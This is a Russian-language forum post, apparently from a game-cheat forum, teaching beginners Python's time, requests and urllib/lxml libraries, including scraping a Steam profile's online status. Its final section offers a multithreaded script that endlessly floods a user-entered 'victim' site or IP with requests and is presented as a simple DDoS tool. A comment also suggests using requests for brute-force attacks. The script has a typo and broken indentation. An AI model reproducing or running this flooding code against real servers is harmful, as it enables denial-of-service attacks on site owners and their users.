Простые библиотеки Python

Статус
В этой теме нельзя размещать новые ответы.
  • 80
  • 4
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Второй гайд.
В нем мы разберем простые библиотеки, в частности как ими пользоваться и подключать.

подключение библиотек:

Python:
import time, os, sys, requests
#подключаем библиотеки.
#но, есть одна загвоздка, requests не стандартная библиотека python и ее нужно установить.
для установки сторонних библиотек мы используем консоль и команду pip install.

например: cmd -> pip install requests
данная команда установит нам библиотеку requests,запросов.

библиотека time


Python:
#все примеры в коде
import time

'''
Таблица форматов дат.

%a краткое название дня недели
%A название дня недели
%b краткое название месяца
%B название месяца
%c дата и время
%d день
%H час в 24 формате
%I час в 12 формате
%j день в году
%m месяц
%M минуты
%p pm или am, а точнее до полудня и после
%S секнуды
%U неделя в году
%w номер дня недели
%W номер недели в году
%x дата
%X время
%y год
%Y год с веком
%Z зона времени

P.S.: Pasted from site

'''

print('Время на данный момент', time.strftime("%H:%M:%S"))
#вывод текущего времени

time.sleep(3) #остановка скрипта на n секунд, в данном случае на 3 секунды.

print(time.ctime(int(input("секунды: "))))
#время с начала эпохи + кол-во секунд которое нужно прибавить.

print(time.perf_counter())
#время прошедшее от запуска скрипта.

print(time.strftime("%Y-%m-%d-%H.%M.%S", time.localtime())) #преобразует дату в нужный тип

#вроде все что может понадобится
библиотека requests

Python:
#запросы, с помощью этой библиотекы python заходит на сайт за вас (лучшее объяснение)
import requests

print(requests.get('Сайт читов, скриптов и кодов для онлайн игр - YouGame.Biz')) #503 означает что сервер временно не доступен. некая ддос защита от югейма
#да-да с помощью этой библиотеки делаются ддос атаки (ну почти)

#можно конвертировать запрос: peremennaya.status_code, а после сделать условие

status = requests.get('Сайт читов, скриптов и кодов для онлайн игр - YouGame.Biz')

if status.status_code == 200:
print('Сервер работает!')
else:
print('Возникли неполадки!')

#можно получить код страницы таким образом:
link = requests.get("GitHub: Let’s build from here")
print(str(link.content)) #желательно не раскрывать, иначе будет тормозить :)
#так же имейте ввиду что это код без кодировки UTF-8, для включения* кодировки нужно написать [0].text
#наример
print(link.text)
#эта библиотека помогает парсить данные, делать запросы для брутфорса и тд.
#разберем простейший парсинг, но так как к этой библиотеке нужно подключать еще библиотеки, легче будет использовать чуть-чуть другие запросы - urllib.

import urllib.request
from lxml.html import fromstring

site = "Steam Community :: Error"

data = urllib.request.urlopen(site).read() #получаем код страницы

pars = fromstring(data) #преобразуем в читаемый вид

#для получения данных заходим на сайт, пкм по нужной инфе, например по статусу онлайна в стиме.
#далее нажимаем пкм по выделенной строке
#и копируем строку в формате xpath
#далее можно создать переменную с данными об онлайне.
#пишем pars.xpath('сюда то что скопировали')
online = pars.xpath('/html/body/div[1]/div[7]/div[3]/div/div[2]/div/div[1]/div[1]/div/div')

print(online[0].text) #для вывода используем [0].text

#теперь можно преобразовать это в переменную и использовать, например для статуса в вк.

item = ""

if online[0].text == "Currently Online":
item = "This user online in steam!"
else:
item = "This user offline in steam!"

print(item)


#вернемся к библиотеке requests, и попробуем сделать простой ддос

import threading #обработка потока

#создадим функцию с переменной для жертвы
def ddos(target):
while True: #бесконечный цикл
try: #пробуем выполнить в противном случае выводим информацию о том что сайт упал.
request = requests.get(targer) #отправляем запросы жертве.
print("Sended!") # выводим информацию о том, что запрос отправлен.
except:
print("Site falled") #пишем что сервер жертвы упал.
threads = 30 #количество потоков.
url = input("Site or IP: ")
try:
threads = int(input("Threads: "))
except:
threads = 30
if (threads < 1):
threads = 30
#ну и проверяем корректность сслыки
if not url.__contains__("http") or not url.__contains__("."):
print("Incorrect url!")

#самое главное, запуск.

for i in range(threads+1): #от 0 до количества потоков
thread = threading.Thread(target=ddos, args=(url,)) #создаем переменную для управления потока
thread.start() #запускаем.
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу